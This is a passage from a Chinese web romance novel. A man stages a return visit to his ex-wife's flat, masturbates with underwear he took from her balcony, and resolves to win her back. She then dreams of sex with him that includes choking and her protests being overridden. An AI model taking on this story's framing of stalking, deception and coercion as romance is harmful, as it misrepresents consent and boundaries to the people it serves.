但察觉到温夏和顾衍南之间微妙的气场,她把话咽了下去。
后续,顾衍南随便拍了两个资产包,一直到拍卖会结束他都没再举牌。
温夏想要的也只有那块地,剩下的时间她不想再在这坐着,趁着中途茶歇,她跟几个合作方打了个招呼,带着小助理离开。
临走前,她看了眼坐在沙发中央,有好几个人围在他身边恭维寒暄的顾衍南,这一幕很熟悉,他好像天生就适合这样的场合,什么都不用说也不用做,就会这般耀眼注目,成为人人攀附的焦点。
他眯起那双好看的桃花眼,自如地和周围的人谈笑风生,但又好像不属于这里,只是一个隔岸观火的看客,娴熟地在名利场上周旋。
这样凉薄又矜贵的姿态很轻易就能让女人迷恋和仰望,不论是不谙世事的少女,还是历尽千帆的成熟女性,温夏从围在他身边,还有坐在不远处的几个女人的眼中都看到了爱恋。
如果他们没有结婚,在这样的场合偶遇,就是这样的情景。
他最不缺的就是女人的爱。
他已经放下了,没有刻意把她当成陌生人,而是以一个成熟理智的姿态对待和平分手的前妻。
她也在慢慢走出来,最近已经不会经常想起他了。
这是他们最好的结局。
温夏收回视线,对着身后的小助理说:“走吧。”
……
被人围在沙发中央的男人余光时刻关注着大门的方向,看着那道倩影从视线消失,他微眯起眼,放下酒杯,说了句“失陪”,拿着外套起身。
出去的时候恰好撞上了温夏的助理,小助理有些意外,看着那张完美到极致的脸,紧张地打了个招呼:“顾总好。”
顾衍南淡淡地应了声。
倒是周之恒“好奇”地问:“怎么回来了?”
小助理懊恼道:“我的备用机落在桌子上了,我要先去拿,温副总还在电梯间等我。”
周之恒扶了下镜框,用眼神示意两位女秘书,朝小助理微微一笑:“好,我们先走了。”
温夏在电梯间边玩手机边等小助理回来,身后响起脚步声,她下意识回头。
站在她面前的却是顾衍南和周特助。
周之恒大大方方地冲她打了个招呼:“太太。”
这个熟悉的称呼让温夏一怔,她垂下眸,淡笑道:“我和你们顾总已经离婚了。”
周之恒像是刚意识到自己叫错了,他歉意地笑了笑:“抱歉啊温副总,我叫顺口了,一时忘了改。”
“没关系。”
周之恒似是还要说点什么,他的手机震动了下,他看向身侧的男人:“顾总,我去接个电话?”
顾衍南低眸看他:“嗯。”
拍卖会还在进行,提前离开的人不多,两人又分别要等人,电梯间便只剩下他们俩。
很安静,安静得让人尴尬。
温夏低头看着脚尖。
头顶传来低沉的男声,似是随口一问:“身体好点了吗?”
温夏无法再低着头,她抬眸对上他的眼睛,嗯了声:“好多了。”
顾衍南眯了眯眸,他不在她身边缠着她,她就好了是吧。
胸口有几分憋闷,但他没有表现出来,继续道:“瑾深今天有事,没空参加,我才替他来的。”
他这话的意思,是在解释当初那句——不会再缠着你,温夏自然听得出来,她说:“我知道。”
顿了下,补充:“我听到周特助和工作人员的话了。”
顾衍南没什么意义地扯了扯唇:“怕你误会。”
“不会的。”
不会?
为什么不会误会?
他说不纠缠她,在她的心里,他就会真的把她放下吗?
她就是这样看他的?
顾衍南眉眼沉了沉,克制着胸口的躁郁,看着那张温柔白皙的脸蛋,脑子里突然闪过小蠢狗怏怏的模样……
“有件事,关于小蠢狗的,你想知道吗?”他嗓音低沉好听,却有着不难听出的担忧。
温夏微怔,脱口问:“言言怎么了?”
顾衍南把她的反应收入眼底,他垂下眼皮,低声说:“它这段时间很沉默,总是在窝里趴着,也不怎么吃饭……”
“你没带它去看医生吗?”温夏急着打断他的话。
话落,两人均是一怔,顾衍南挑了挑眉,温夏则是懊恼自己的语气。
她有些急了,不该用这样的语气和他说话的。
言言是她亲口说不要的,她没有资格怪他。
“抱歉,”她轻声说,“我的意思是,它应该是生病了,你最好带它去看医生。”
顾衍南低眸看她,“当然去看了,医生说它可能是——”
“抑郁了。”
“……”
“不过张婶每次拿你的照片给它看的时候,它会叫得很欢,平时就怏怏的,”顾衍南盯着她的眼睛,一字一顿道,“我觉得,它应该是——”
“想、你、了。”
第57章 “我能在你家洗个澡吗?……
“想你了”三个字, 就像是在舌尖缠绕过般,透着股缠绵悱恻的意味。
温夏的心脏漏跳半拍,忍不住想起她搬家那天, 言言一路追着她, 被铁门拦住的可怜模样。
她从后视镜看到顾衍南抱着言言,看向车的方向,仿佛她是抛夫弃子的罪人。
顾衍南将她眼中的愧疚收入眸底,继续道:“从把小蠢狗抱回家那天起,就属你照顾它的时间最长,它想你很正常。”
温夏的眼皮动了动,绷着唇, 一言不发。
不是不想说,而是不知道说什么。
当时是她自己亲口说的不要言言,这小半年里也没有回去看过它一次,她现在没脸说任何想见它的话。
可是……
抑郁症不是人类的专属, 狗狗心情不好也会得, 而且数据显示近些年的频率不低。
温夏特别懊恼, 她当时不该瞎编什么抑郁症骗顾衍南,如今报应到言言身上。
她的手指绞在一起,无意识地咬着唇, 顾衍南看着她纠结苦恼的模样,无奈地低叹了声。
想让她因为对小蠢狗愧疚和思念主动提出回家看它,却又见不得她脸上的忧愁。
说到底,这都是他的错。
前段时间她三十岁生日, 她只邀请几个朋友在家里过,他开车停在她公寓楼下,望着阳台时, 想起她之前说过等她三十岁会考虑孩子的事。
如果不是他犯浑,他们早该孩子都该有了。
“如果你想见它——”顾衍南原本想说,“如果你愿意见它”,但怕她听着心里不舒服,话到嘴边改了口。
“可以提前联系张婶。”
温夏仰头看他,眼底流露出几分意外,没想到他这么轻易就松口。
连阴阳怪气都没有。
她的想法顾衍南一看就知,当即就沉了脸,在她眼里,他这个人到底有多恶劣?
他的气场沉了下去,温夏自是感知得到,不知道为什么说着说着他又生气了,刚刚不还好好的吗?
但她没理由过问,便不再开口。
顾衍南也被气的一言不发,担心自己一出口又说出什么难听的话,惹她生气。
气氛又陷入尴尬的沉默。
离婚后的夫妻独处本就是件令人尴尬的事,尤其是客套寒暄后的沉默,简直把尴尬成倍放大。
温夏平日里算得上很能“抗尴尬”的人,但此刻的氛围,让她非常不自在。
好在小助理很快回来了,连连道歉:“抱歉温副总,刚才遇到几个温氏的合作商,堵着我问项目进展,耽误了时间。”
“没事,走吧。”温夏按下电梯按钮。
小助理点头,偏眸看了眼温副总身侧的男人——
电梯间只有他们俩?所以说,刚刚这对前夫前妻在一个半密闭的空间单独相处?
脑子里浮想联翩,小助理面上维持得体的笑容,跟着温夏走进电梯。
一直到上车,她才悄咪咪地拿出手机,把这个惊天八卦分享给上班搭子——
[你知道我今天看到什么了吗?温副总和她那个前夫……]
-
回到公司,温夏把招标会的情况向大哥汇报完,然后通知相关部门开启后续的建设工作。
一切结束,已经是下午两点,她靠坐在办公椅上闭目养神,脑子里不自觉浮现出言言可怜兮兮的模样,这段婚姻,她最对不起的就是它。
因为急于从名为顾衍南的梦魇中走出来,她抛弃了它,但言言又有什么错呢?她这样做对它来说太过不公。
温夏陷入深深的自责中,没有心情工作,跟助理说了一声,开车漫无目的地绕了绕,最后不知不觉地来到明湖公馆。
等车子停在门口,她才后知后觉地回过神,自己怎么把车开到这里了。
温夏在车里纠结几分钟,还是下了车。
这个点顾衍南应该在公司,她来看看言言,看完就走。
反正他说过她可以来看。
距离搬走有几个月之久,这里好像一点也没变,只是她走的时候是冬天,花园里的花木和草坪都光秃秃的,现在一片绿色,生机盎然。
车门关上,她走上前,正要按门铃,突然听到狗叫的声音,温夏一怔,抬眸望去,就看到言言撒开脚丫子朝她跑来。
“汪!汪汪!”妈妈回来看我了,开心!
黑色铁门阻挡它的脚步,言言急的团团转,只能用低吼宣泄不满。
温夏从围栏伸出手,去摸它的脑袋,安抚它的情绪:“妈妈这就给张奶奶打电话,不要激动。”
言言果然安静下来,用头拱了拱她的手。
温夏拿出手机,找到张婶的电话,拨了过去。
张婶没想到还会接到温夏的电话,自从温夏搬走,就没再联系过她,也没有回来看过少爷和言言。张婶没敢耽搁,在围裙上擦了擦手,点开接通:“少夫人,您有什么事吗?”
温夏没有纠正她的称呼,直接道:“我来看言言,你在里面吗?”
张婶微愣,立刻道:“在的在的,我这就给您开门。”
少夫人愿意回来看言言,是不是说明少爷还有机会?
这段时间,少爷每天晚上遛完狗都会开车出去,虽然他没说过去哪儿,但张婶直觉他是去见少夫人了,每次回来都一身的烟味。
张婶边往外走边给少爷打了个电话。
顾衍南正在办公室听副总汇报上午他没去的那个签约仪式,张婶的电话打来时,他微微蹙了下眉,还是接听了。
张婶不是没分寸的人,没有重要的事不会在他上班的时候给他打电话。
果不其然,电话接通,就听到张婶语气激动地说:“少爷,少夫人回家了!”
顾衍南手指一顿:“她回来了?”
“对,她给我打电话,说来看言言,我这就去给她开门。”
她果然还是在乎小蠢狗的。
顾衍南重新转动手上的钢笔,不咸不淡地应了声:“我知道了。”
挂断电话,张婶愁的不行,少夫人好不容易回来,少爷这是什么态度?还不抓紧回家!
她快步走出去,就看到隔着铁门在逗言言的温夏,心里顿时万般感慨。张婶压抑着内心的情绪,上前把门打开:“少夫人,密码没有改,您下次直接进来就行。”
温夏垂眸笑了下:“不合适。”
张婶很想说有什么不合适,少爷巴不得这样,但这话说出去不合适,便咽了下去。
一整个下午,温夏都在陪言言玩,只在院子里,不管张婶怎么劝她都没进客厅。
言言很黏她,玩的也很开心,丝毫不见抑郁的迹象,温夏疑惑地看向张婶:“言言这段时间经常不吃饭吗?”
张婶眼睛一闪,很快地道:“是啊,它这段时间心情不怎么好,经常半夜乱叫,昨天晚上就叫了好久,饭量也小,经常就趴在窝里也不动——”
她看着温夏越蹙越紧的眉头,叹了声:“也就是您今天来,它才活跃一点,平时都不怎么动。”
张婶这话不算是骗她,言言这段时间确实不怎么活泼好动,总是趴着不动,很久没见它撒着脚丫子乱跑了。
顾衍南的话从张婶这得到印证,温夏更加内疚,看着言言的眼神愈发柔和。
……当时顾衍南愿意把言言给她,她该答应的,现在再想要的话,他肯定不愿意给她,而她也说不出口。
顾衍南半小时前就到了家,车子停在路边,没有立刻下去。他落下车窗,点了根烟,烟雾被风吹散,橙红色的夕阳下,女人蹲在草坪上揉着小蠢狗的脑袋,温婉的眉眼弯成月牙,笑得温柔璀璨。
很像以前,她周末不上班,就喜欢在草坪上陪小蠢狗玩。
他没有去打破这份美好的、久违的温馨。
天快黑了,温夏看了眼腕表,六点半了,他要下班了,她也该走了。
言言似是感知到妈妈要走,拦着她的路,冲着她低吼。
“汪!”妈妈不要走!
温夏无奈又自责地看着它,蹲下来揉着它的脑袋:“我明天再来看你,好不好?”
言言用力地摇着脑袋。
温夏为难地看着张婶,张婶叹了口气,刚想开口,视野里突然出现一个黑色身影,她连忙道:“温小姐,是少爷回来了。”温夏刚才纠正过她的称呼。
温夏微怔,抬眸看去。
他穿着早上偶遇的那身衣服,经过一天的工作,不似上午那般一丝不苟,反倒有几分颓然的性感。
胸肌依旧被勒的紧紧的。
温夏站起来,轻声解释:“我来看看言言。”
“嗯。”顾衍南淡淡地应了声。
温夏顿感尴尬:“我先走了。”
言言迈着小短腿快步挡住她的路:“汪!汪!”妈妈不许走!
顾衍南单手插兜,低眸看她,眼神晦暗得有些复杂。
温夏垂下眼皮,手指无意识绞在一起,言言直接咬着她的裤腿不让她走。
没出息。
这么久不回来,还这么黏着她。
狗就是狗。
顾衍南看着她纠结的表情,缓缓开口:“它不想让你走。”
温夏一怔,一时没理解他的意思。
下一刻,顾衍南低低沉沉的嗓音响起:“你如果现在还愿意要他的话,可以把它带走。”
“不过,我会去探视它。”
温夏震惊地看着他,没想到他会这么说:“你……愿意把言言让给我?”
“嗯,它跟你在一起,心情会好一些。”
温夏低头看着紧紧咬着自己裤腿不松口的言言,良久,抬眸看向顾衍南。
她这段时间已经很少会想起他了,今天上午的偶遇,也没有让她感到压抑窒息,他已经放下了,她不该再纠结,越是逃避说明她越在意。
已经过去这么久了,她该面对了。
“好,你来之前提前跟我说。”
“嗯。”
顾衍南对这件事的态度很坦然,让张婶把言言的东西打包,然后帮忙送到温夏的公寓。
张婶:“少爷,我昨天跟你请了假,今晚得坐高铁回老家。”
“要不你帮温小姐搬?”
顾衍南皱了皱眉,看向温夏。
后者有些尴尬:“如果你忙的话,我打电话叫司机过来。”
“忙完了,晚上没事。”
“那……那麻烦你了。”
等张婶收拾完东西,顾衍南把几个箱子搬进后备箱,温夏抱着言言坐在后车座,顾衍南开车。
一路上两人没说什么话,似是为了缓解尴尬,顾衍南打开车载音乐,低沉磁性的男低音缓缓唱着——
“何事落到这收场,枯死在你的手上……”
言言在她怀里睡着了,温夏扭头看向窗外不断倒退的夜景。
到了小区地下车库,温夏抱着狗,顾衍南抱着箱子,两人把电梯塞得满满的。
仍是双双沉默。
已经到了家门口,温夏不可能不让他进去:“我这里没有男士拖鞋,你直接进来吧。”
顾衍南眯了眯眼,嗯了声:“箱子放哪儿?”
“客厅就行,我晚上收拾。”
顾衍南便把两个沉重的箱子放到地上,温夏也把言言放下,来到新的环境,它丝毫不畏惧,撒着腿到处乱窜,温夏放下心来,她还担心言言会不适应。
这个点正是饭点,顾衍南站在客厅,没有要走的意思,温夏不得不客套地问一句:“你……吃过饭了吗?”
顾衍南看着她:“没。”
“那……我请你吃饭,谢谢你愿意把言言给我。”
顾衍南高冷地吐出一个字:“行。”
温夏表情一僵,他听不出来她在客套吗?他们俩一起吃饭,他不嫌尴尬吗?
但话已经说了,她不可能收回去,只好道:“你在客厅休息一会吧,我去做饭。”
“嗯。”
等她走进厨房,顾衍南绕着公寓走了一圈,这个公寓他还是第一次上来,很明显的独居女人的家,没有任何不该有的碍眼东西和气味。
绕完一圈,顾衍南朝厨房走去,温夏正在切菜,顾衍南看着她的土豆丝切的比小拇指还要粗,眉骨跳了跳,“我来吧。”
温夏连忙道:“不用,很快就能吃饭。”
哪有让客人做饭的道理。
顾衍南的视线淡淡地落在粗土豆条上。
温夏跟着看去。
她抿着唇,强行挽尊:“粗的也挺好吃的。”
“我来,”顾衍南直接发话,“你去收拾小蠢狗的窝。”
说着,他挽起袖子,打开水龙头洗手,然后抢过刀,从容又利落地切菜。
温夏原本还想着帮他打杂,但她在这还不够添乱的,便乖乖听话去收拾言言的窝。
她把杂物间简单地收拾了下,打算明早再叫人来搬东西。
等她弄完,饭也做好了,简单的四菜一汤,看起来就好吃。
他的厨艺确实蛮不错的。
这顿饭依旧沉默,温夏吃了不少,今天忙了一天,他做的饭菜很符合她的口味,不知不觉便吃完一整碗饭。
饭后,她主动去收拾碗筷,顾衍南没跟她抢,在她把碗放进洗碗机时,他把钱包放到她的沙发上,用抱枕盖住。
等家务活都干完,温夏还在想该怎么赶他走,顾衍南起身,指着半满的垃圾桶:“我顺便把垃圾带下去。”
温夏一愣,连忙道:“不用。”
“顺手的事。”他站在她跟前,等着她把垃圾袋递给他。
温夏没再推辞,收拾完把垃圾递给他,“谢谢。”
“嗯。”他依旧是很冷淡的语气。
“砰”的一声,关上门,温夏紧绷的神经陡然松了下来。
看他的样子,是真的放下了,全程都很得体绅士,她不该因为和他待在一个房间紧张不自在。
他以后还会来看言言,他们还会待在一个房间,她要早点做到心如止水。
温夏在原地站了几秒,收拾好心情,去浴室放水,给言言洗澡。
洗完吹干,花了一个多小时,她自己钻进浴室洗澡,洗完澡护完肤,还没来得及吹头发,手机铃声突然响起。
温夏拿起手机,看到备注,微微皱起眉,不过还是接通了。
“有事吗?”
顾衍南嗓音仍是低沉:“我有东西落在你家了,现在在你家门口,开个门?”
温夏攥紧手机:“什么东西?”
“钱包,里面有u盘,明天开会要用。”
大概是他的原因很正当,而且他今天的态度都透着一股疏离冷淡的意思,温夏便没有多想,换了身衣服,就把门打开了。
她没想到的是,推开门,看到的是浑身是水的顾衍南。
玄关的暖光下,男人的黑发、眉毛、睫毛全是水珠,雨水顺着利落分明的下颌滑落,他的衬衫,西裤全都是水,白衬衫沾着水黏在身上,能清晰地看见胸肌和腹肌的轮廓。
“你怎么……”温夏盯着他,一时没有找到合适的形容词。
顾衍南不甚在意地解释:“下雨了,车里没找到伞。”
“你怎么不打电话给我,我给你送过去。”
“怕麻烦你,”顾衍南居高临下地看着她,“我能进去吗?”
温夏抿着唇:“嗯。”
顾衍南便走了进来,看向沙发:“可能落在沙发了,你看看有没有?”
温夏走过去,果真在沙发的抱枕下发现他的钱包,里面有个硬硬的东西,应该是u盘。
“给你。”
他伸手接过,不可避免的肢体接触,温夏手指颤了下,他的手好冰。
就在这时,“轰隆”一声巨响,直棱棱的闪电从天空劈下来,发出耀眼刺目的白光,随即是倾盆般的暴雨,雷声一下接着一下。
顾衍南看向阳台,眉头紧皱着,欲言又止地看着她,但似乎是怕她为难,只是看着她,什么也没说。
温夏看着他浑身是水,咬了下唇:“你等雨停再走吧。”这么大的雨,很可能会出事,要是真出事,她会愧疚一辈子。
“谢谢。”顾衍南很客气。
“那你……”温夏想说,那你在餐椅上坐一会吧。
顾衍南先一步打断她,扯了扯湿透的领带,低眸看她,很有礼貌地问:“我能在你家洗个澡吗?”
第58章 隔靴搔痒
温夏下意识想要拒绝, 让他在她家避雨,她已经很善良了,他还想用她的浴室洗澡?
不能怪温夏多想, 实在是顾衍南离婚前那段时间的步步紧逼给她留下了心理阴影, 她总觉得他不怀好意,可是看着他平静淡漠的眼神,又觉得是自己自作多情。
今天早上的偶遇和傍晚他送她回家,他的每一句话、每一个行为都彰显着“他真不打算缠着她了”,她又不是天仙,一而再再而三的拒绝回避,换谁都会觉得累, 觉得没意思。
他明天要开会,穿着湿衣服很容易发烧,而且衣服黏在身上会很不舒服,外面的雨也不知道什么时候停, 可是……温夏皱着眉头, 陷入纠结中。
顾衍南把她的神情收入眼底, 眯了眯眸,淡淡道:“不方便的话那就算了。”
“……”
温夏绷着唇。
“这么晚了,你该睡觉了, 不打扰你了,”他拿着钱包,一副要离开的架势,“我先走了。”
“轰隆——”
又是一声惊雷劈下来。
光听着就让人心慌。
他转过身, 后背也全都湿了,像是刚从河里爬上来的水鬼,看着就很冷。
温夏咬咬牙, 喊住他:“行了,你想洗就去洗吧,这么大的雨开车很容易出事。”
顾衍南脚步顿住,回眸看她:“不用,你不用为难,雨是大了点,但不至于撞死——”
顿了下,他补充:“你放心,就算撞死了,也不会追究你的责任。”
温夏的眉头重重皱起:“你能不能不要把死挂在嘴边。”
顾衍南微微挑了下眉,她是在关心他吗?
“你去洗吧,我家里没有男士的衣服,你自己洗干净用烘干机烘干,我去给你拿浴巾。”温夏自认已经仁至义尽,要不是看在他把言言给她的份上,他爱走就走,她才不会好心收留他。
顾衍南压着嘴角,高冷地嗯了声:“谢谢。”
他这幅态度,搞得好像她上赶着留他,温夏闷着脸,在衣柜底下翻了半天,才找到一条没用过的新浴巾。
出来一看,温夏第一时间发现,他衬衫领口的扣子又往下解了一颗,领口大敞,鼓囊囊的胸肌半露不露的,还有隐隐能看见的胸肌轮廓,引人无边遐想。
她一时怔住了。
虽然是看过摸过用过无数次的东西,但太久没见,从前他们几乎夜夜缠绵,那些亲密旖旎的画面如潮水般涌上来,身体本能地回忆起胸肌和腹肌的触感和硬度。
他是又练了吗?怎么感觉比以前还要大?而且看起来很硬的样子。
顾衍南轻勾了下唇角,她最喜欢的就是摸他的腹肌和胸肌,每次都要摸很久,色得不行。他微微眯眼,抬手又把扣子扣回一颗,把半露的胸肌遮住,淡淡然地解释了句:“扣的太紧,闷。”
温夏猛地回神,意识到自己刚才在想什么,脸颊不受控制地烧了起来。
她在干什么?跟个色狼一样,还被发现了。
“给你浴巾。”温夏心虚地刻意不去看他的胸口,只好仰头看向他的脸。
他却一脸淡然,并不觉得那样有什么不合理,以至于温夏想提醒他注意一下都无从开口——显得她太过矫情,跟看了眼他的胸肌是多大的事儿似的。
温夏愈发憋屈,把浴巾往他怀里一塞:“你去洗澡吧,我睡觉去了,等会儿雨停了你直接走吧,不要喊我。”
说完,她头也不回地走了,有种落荒而逃的意味,顾衍南盯着她慌乱的背影,从胸腔里闷出声哼笑。
不管她现在对他什么感情,但她有多喜欢他的身体,顾衍南比谁都清楚,这也是他目前最大的胜算。
虽然出卖男色可耻,但用在她身上,也不算难以接受。
有用就好。
走进浴室,温热的水兜头浇下来,顺着纹理分明的肌肉线条往下流,水雾氤氲,空气中还残留着浅淡的柠檬香,是她身上的香味。
顾衍南闭上眼,面无表情地将手挪到人鱼线之下的位置。
不去见她的那段时间,想着能够远远看她一眼就够了,看到她之后又想着能跟她见面就够了,见面之后又想着独处,只有他们俩,而现在……要是是她……
她的手很小很软,跟没骨头似的,比他的要舒服很多。
热气很快弥漫整个浴室,干净透明的玻璃上也蒙上层水雾。
以前,他们经常在浴室里,为了节省时间,他们一起洗澡,用同款的沐浴乳,身上的香味也是同款,她的皮肤很白,脖颈细白脆弱,黑色长发湿漉漉地披在肩上,睫毛和鼻尖上都是水珠,还有嘴唇,湿润饱满,很适合接吻。
当然,也适合干别的。
身体不受控制地躁动,顾衍南喉结艰涩地滚动,回忆起被那张嫣红湿润的口口的感觉。
在这种事上,她实在是个差生,教了多少次,每次都会磕碰,可即便如此,他依旧满足。
比起生理上的快感,看着她全身心的臣服,更让他兴奋。
她连这种事都愿意为他做,四舍五入,怎么说也能够得上一个“喜欢”。
不过她也不是一点长进也没有,比起最初的笨拙,她会坏心眼地争夺主动权,鼓着腮帮,还要去按他的喉结。
他怎么可能受得住她这样,手掌覆上她的后脑。
“十二分钟,”她的嗓子也哑得不行,还不忘挑衅他,媚眼如丝,“顾大公子,比上次要早三分钟呢。”
挑衅的后果就是被…到服软为止。
她练过多年的舞蹈,身体柔软,顾衍南站在她身后,把她的脸掰过来,和她面对面,他喜欢看着她的每一个反应。
她对他的口口的喜欢不比他对她的少,可她性子太过矜持,咬着牙不肯说。他故意逼着她开口,这个时候让她说什么都行,他说一句她软着嗓子复述一句,一脸的屈辱不甘,嗓音却又娇又软,听在耳中就是甜软的娇嗔。
“宝宝……”顾衍南闭着眼。
她就在一墙之隔的卧室睡觉,离他很近,她现在会在做什么?会因为他在她家洗澡胡思乱想吗?她会想到他们以前在浴室里的那些事吗?
“老婆……乖宝宝……我爱你……”
顾衍南皱眉,喉结溢出细碎粗哑的声音。
睁开眼,低眸看着手中那块他从阳台拿来的黑色蕾丝布料,已经脏掉了。
被他弄脏了。
许久没有过的畅快,紧绷的肌肉慢慢放松,顾衍南喘着气,脸色却越来越沉。
明明这些是理所当然的事,他却得像个变态一样在她家的浴室里自行解决。
如果他们没离婚,如果他不答应离婚,他还用得着像现在这样?
与此同时,顾衍南不能更清晰地意识到,去他的再也不缠着她,如果不缠着她,不把她追回来,他下半辈子都得这么过!
隔靴搔痒,只会让欲望成倍生长,他自己再怎么幻想回忆,也没有她碰一下来的舒爽。
那十年里,他过够了靠着幻想才能解决的夜晚,释放后又无比唾弃自己没出息,被一个没心没肺玩他的女人拿捏。
下半辈子,他可不想再重复那样的生活。
顾衍南看着那块已经脏掉的黑色蕾丝布料,眯起眼睛,他现在只想进她的卧室,逼她把刚才的幻想变成现实。
-
这套公寓的隔音不是太好,浴室关门声温夏听得一清二楚。
她躺在床上,仰头看着天花板,脑子里不断闪回顾衍南半露的胸肌……真是太久没纾解,太经不住诱惑。
不就是露了胸肌,至于吗?又不是没看过没用过。
胡思乱想着,手机忽然震动两下。
温夏拿起手机一看,是梁从音发来的短信,配了个美男出浴的视频——
她自然不会把离婚前答应顾衍南不会再跟别的男人有越界关系的事告诉梁从音,梁从音和祁源婚姻幸福恩爱甜蜜,看她孤寡一人,便想着给她介绍个伴儿。
梁从音作为娱乐公司的老板,身边最不缺的就是年轻帅气的美男,给自家姐们都是她精挑细选过的,这次发来的是一个还在念大学,半工半读的男明星。
下一刻,一条解说语音发过来:“林桉,21岁,身高184,体重72kg,高知家庭出身,他嘛虽说进了娱乐圈,但不是初中没毕业连字都能写错的九漏鱼,当年高考考了六百多分呢,绝不是只有一张脸能看的花瓶。哦对了,他还是什么国家二级游泳运动员,六块腹肌,身强力壮。感情经历我特意调查过,大学的时候谈过两个女朋友,都是因为感情不和分手,不会有什么念念不忘的白月光。后来进我公司,我管得严,没有约炮的行为,还算干净,怎么样?有兴趣吗?”
“…………”
听完这段长达一分钟的语音,温夏的眼皮抽搐了下,怎么有种她在潜规则无权无势小明星的既视感。
“我都三十了,你给我找个二十一的,我不想被人背后骂老牛吃嫩草。”
梁从音:“宝贝你去照照镜子看看你这张脸还有身材,十八的跟你都没法比,你能看上他是他上辈子修来的福气。这孩子挺谦逊的,我觉得真心不错,我给你发的视频你点开看看,是他上次拍电视剧中的片段,身材很绝!你一定要看,我保证你肯定会喜欢的!”
温夏不想辜负她的好意,潜意识里也想通过另一具身体来覆盖顾衍南身体的画面,于是点开了视频。
视频很短,只是十几秒,那位叫林桉的小帅哥长得也确实很好看,浓眉凤眼高鼻梁大五官,妥妥的浓颜系长相。身材看起来也不错,梁从音没有吹嘘,冷白的皮肤上均匀分布着六块腹肌,透着股年轻的气息。
胸肌的弧度微微弓起,不像顾衍南的那么大,但比他的要白上很多,这个林桉真的很白,比她都要白。
“怎么样?怎么样?看完没有?”梁从音追问。
温夏回她:“挺好的,就是太白了。”
梁从音不悦:“白怎么了?”
“我不喜欢比我白的,这样会显得我黑。”
梁从音:“……”
“你真是……我服了你了,要求真高!”梁从音怒道。
温夏不觉得不喜欢太白的身体是个多高的要求,顾衍南是浅麦色的皮肤,比起过白的皮肤,带着几分性感的欲。
怎么又想到他了?
温夏闭上眼,把手机一扔,拉过被子盖住脑袋。
原以为要很久才能入睡,可能是白天忙了一整天,听着窗外雨水拍打玻璃窗的声音,温夏很快陷入深眠。
睡前看过的东西在梦中再现。
却不是林桉那具年轻的身体。
而是顾衍南。
梦中,顾衍南也穿着那身湿透的西装,白衬衫黏在皮肤上,胸肌和腹肌的轮廓一览无遗。
他慢条斯理地解着衬衫扣子,目光直勾勾地盯着近在咫尺的女人,解扣子的动作像是电影刻意放慢的镜头一般,每一秒都被拉的很长,说不出的性感蛊惑。
“想摸吗?”他哑声问她。
温夏看到自己怔怔地点了点头,像是被下了蛊一般,指尖轻触。
触感和记忆里的一样。
手腕募地被抓住,他的手很冷,就这样攥着她的手腕,带着她的手……
羞耻和尴尬都有,不过最明显的莫过于满足,他的身材是真的好啊,要比那个小明星的身材好,而且浅麦色看起来很性感。
正当她颇为感慨时,画面突转,她不知道为什么被他按在落地窗前,他一手扣着她的腰,一手掰过她的脸,眼神阴沉地看着她:“该我了。”
梦中,她潜意识里还记得他们离婚了,于是推拒他:“不……不行……我们……离婚了……”
一句话支离破碎,扣她下巴的手改为掐上她的脖子,让她一句话也说不出来。
“喜欢吗?”他咬住她的耳朵,用牙齿轻轻磨着,哑声问。
她的脖子被他掐着,没法回答。
她的沉默在他口中却变成了恶劣的猜想:“不喜欢是吗?”
她还是无法回答,只能呜咽着推搡他。
“怎么会不喜欢呢?”他的眼神和语气都恶劣极了,手指探上她的后脑,往下一按,迫使她低下脑袋,看地毯上她有多喜欢的证据。
……
他的浑话延绵不绝,越来越不堪入耳,可她就像是一只坏掉的水龙头,完全不受控制。
这样的反应换来了新一轮的征服与掠夺。
她被他按在床上,男人的黑眸阴沉,嗓音森冷,语气中透着浓浓的危险:“不许看别的男人,也不许幻想别的男人,你只能想我!”
“不要……”
“……”
“轰隆——”
温夏被雷声吵醒,猛地坐起来,心脏突突直跳,还在剧烈地喘着粗气。
她已经很久没有梦到他了,今天不仅梦到,还是这种见不得人的梦。
她怎么会做这样的梦?就因为睡前看到他的胸肌?可是她也看到那个叫林桉的小男孩的了,为什么却只梦到顾衍南?
顾衍南……
温夏突然想到什么,摸起手机看了一眼,已经凌晨两点了,不知道他走了没有。
身体湿黏,温夏深吸一口气,劝慰自己她这个年龄生理需求很正常,更何况她和顾衍南以前那么频繁,他是她唯一的男人,梦到这事和他很正常。
这不代表什么。
边这么想边推开阳台的门,主卧和阳台是通的,去拿洗过晾干的内裤。
然而,她在晾衣区找了半天,都没发现自己昨天刚洗过的那条黑色蕾丝内裤。
温夏感到一阵荒唐——
在她家里,她的内裤,不见了?
第59章 “你觉得我还对你念念不……
那天晚上, 温夏把阳台翻了一遍,又去卧室的衣柜和衣帽间乃至浴室都翻了一遍,还是没找到她的那条内裤。
顾衍南不知道什么时候走的, 也不知道他走的时候外面还下雨吗, 更不知道她的内裤是不是被他偷走了,因为今天只有她进了她家,而且她家的阳台是密封的。
可是这种事怎么好意思问出口,万一不是,该有多尴尬。
下半夜,温夏翻来覆去睡不着觉,一边在想她内裤的行踪, 一边在想刚才的春.梦……
想到天都快亮了,脑子里还是一团乱,温夏决定吃了这个哑巴亏,就当什么都没发生。
那个春.梦, 也当没做过。
想是这么想, 她需要时间忘记这件事, 可谁知这半年都没有偶遇的两个人,第二天晚上又偶遇了。
在新松公馆停车场偶遇顾衍南的那刻,温夏的脑子里不受控制地浮现出昨晚那场梦里, 他逼她叫.床给他听的那幕,表情恶劣轻佻得和眼前这个衣冠楚楚神情淡漠的男人仿佛是两个人。
虽然是梦,可温夏就是有点小不高兴,再加上想起不知道是不是被他偷走的内裤, 更不乐意搭理他了,踩着高跟鞋就要走。
周之恒突然喊住她:“好巧,温副总, 你晚上也有应酬啊。”
“……”温夏只好停下脚步,回道,“嗯,跟通存的吕总有合作要谈,约在这里吃饭。”
顾衍南皱了皱眉:“吕浩明?”
温夏不咸不淡地嗯了声。
顾衍南忽略她的态度,追问:“什么合作?”
他怎么管的这么宽?温夏皱起眉,淡声说:“商业机密。”
顾衍南眯起眸,刚想再说点什么,温夏抬起手看了眼腕表,敷衍了句:“马上就到我们约的时间了,没事的话我先走了。”
说完,她踩着高跟鞋往会馆大厅走,顾衍南和周之恒一时没有跟上来,温夏也没回头看他们。
温夏在商场上毕竟是个新手,能把温氏从破产的边缘线拉回来,已经是个奇迹了,之后一年多的治理上,她采取的是保守的策略。
但温砚不同,这一年,在他的带领下,温氏的财务报表一个月比一个月好看,除了在温氏主营的珠宝领域一家独大,温砚还投资了很多其他领域的项目。
